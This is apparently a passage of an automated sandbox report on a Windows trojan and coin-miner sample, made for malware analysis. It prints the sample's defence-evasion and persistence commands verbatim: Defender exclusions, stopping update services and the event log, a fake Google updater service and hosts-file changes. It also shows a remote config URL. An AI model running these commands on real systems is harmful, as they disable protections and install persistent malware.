              Source: explorer.exe, 0000003B.00000002.3836485970.0000000000EE5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/y9ce3ing/raw--cinit-stealth-targets=Taskmgr.exe
              Source: explorer.exe, 0000003B.00000003.1477292624.0000000000F02000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/y9ce3ing/rawTaskmgr.exe
              Source: explorer.exe, 0000003B.00000002.3837102907.00000000019D0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/y9ce3ing/rawc
              Source: explorer.exe, 0000003B.00000003.1503146567.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000003B.00000002.3836485970.0000000000F92000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://rentry.co/y9ce3ing/rawox.dll
              Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
              Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443

              Spam, unwanted Advertisements and Ransom Demands

              barindex
              Modifies the hosts file
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior

              System Summary

              barindex
              Uses powercfg.exe to modify the power settings
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              Source: C:\Windows\System32\conhost.exeCode function: 57_2_0000000140001394 NtAddAtom,57_2_0000000140001394
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeFile created: C:\Windows\TEMP\pjjtwoljkwri.sysJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile deleted: C:\Windows\Temp\__PSScriptPolicyTest_00cy0hkb.aka.ps1Jump to behavior
              Source: C:\Windows\System32\conhost.exeCode function: 57_2_000000014000325057_2_0000000140003250
              Source: C:\Windows\System32\conhost.exeCode function: 57_2_00000001400027D057_2_00000001400027D0
              Source: Joe Sandbox ViewDropped File: C:\Windows\Temp\pjjtwoljkwri.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
              Source: Updater.exe.0.drStatic PE information: Number of sections : 11 > 10
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeStatic PE information: Number of sections : 11 > 10
              Source: pjjtwoljkwri.sys.34.drBinary string: \Device\WinRing0_1_2_0
              Source: classification engineClassification label: mal100.troj.adwa.spyw.evad.mine.winEXE@88/13@2/3
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5744:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3960:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5992:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5812:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6744:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7976:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3408:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7396:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7456:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2988:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4352:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1784:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1744:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8100:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7712:120:WilError_03
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:2896:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7968:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7356:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5996:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3640:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4508:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4672:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3508:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4016:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8148:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wwzmnsne.emf.ps1Jump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\explorer.exe
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\explorer.exeJump to behavior
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeReversingLabs: Detection: 60%
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeFile read: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeJump to behavior
              Source: unknownProcess created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe"
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
              Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: unknownProcess created: C:\ProgramData\GoogleUP\Chrome\Updater.exe C:\ProgramData\GoogleUP\Chrome\Updater.exe
              Source: C:\ProgramData\GoogleUP\Chrome\Updater.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
